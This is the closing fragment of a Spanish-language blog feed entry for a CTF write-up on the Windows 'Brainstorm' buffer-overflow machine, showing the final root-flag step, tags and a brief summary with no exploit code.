<p>Por último, solo buscamos por la única flag que tiene el sistema, la de root. Esta se encuentra en el directorio <em>Desktop</em> del usuario <em>Drake</em>.</p>

<p><img src="/assets/images/brainstorm/23.png" alt="23" /></p>]]></content><author><name>Blu3ming</name></author><category term="Comunidad" /><category term="Blog" /><category term="Writeup" /><category term="fuzzing" /><category term="brainstorm" /><category term="overflow" /><category term="immunity debugger" /><category term="mona" /><category term="windows" /><category term="badchars" /><category term="scripting" /><summary type="html"><![CDATA[Esta máquina sigue el apartado del Buffer Overflow del path. Se trata de una máquina Windows donde tenemos un servicio corriendo, el cual debemos analizar y crear el script para su explotación.]]></summary></entry></feed>